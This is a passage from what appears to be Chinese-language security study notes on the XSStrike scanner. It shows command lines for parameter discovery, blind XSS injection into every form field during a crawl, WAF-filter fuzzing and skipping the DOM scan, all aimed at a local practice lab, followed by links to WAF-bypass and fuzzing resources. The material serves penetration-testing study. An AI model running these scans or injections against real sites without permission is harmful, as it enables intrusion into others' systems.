python xsstrike.py -u "http://192.168.195.128/xss-labs/level1.php?name=test" -- params
7.盲XSS:爬行中使用此参数可向每个html表单里面的每个变量插入xss代码
python xsstrike.py -u "http://192.168.195.128/xss-labs/level1.php?name=test" -- crawl --blind
8.模糊测试–fuzzer该模糊器旨在测试过滤器和Web应用程序防火墙,可使用 -d 选项将延迟设置为1秒。
python xsstrike.py -u "http://192.168.195.128/xss-labs/level1.php?name=test" -- fuzzer
9.跳过DOM扫描在爬网时可跳过DOM XSS扫描,以节省时间
python xsstrike.py -u "http://192.168.195.128/xss-labs/level1.php?name=test" -- skip-dom
10.更新:如果跟上–updata选项,XSStrike将检查更新。如果有更新的版本可用,XSStrike将下载更新并将其合并到当前目录中,而不会覆盖其他文件。
python3 xsstrike.py --update
资源
Xss跨站脚本测试平台:https://gitee.com/yhtmxl/imxss/
xwaf是一个python写的waf自动绕过工具:https://github.com/3xp10it/xwaf
XSStrike:https://github.com/s0md3v/XSStrike
绕过XSS检测机制:https://bbs.pediy.com/thread-250852.htm
Fuzz 字典:https://github.com/TheKingOfDuck/fuzzDicts
参考:
小迪安全:https://www.bilibili.com/video/BV1JZ4y1c7ro?p=24
0x00实验室:https://www.yuque.com/weiker/xiaodi/kdf52h
小迪安全笔记:https://www.yuque.com/samxara/swro13/wk5w9t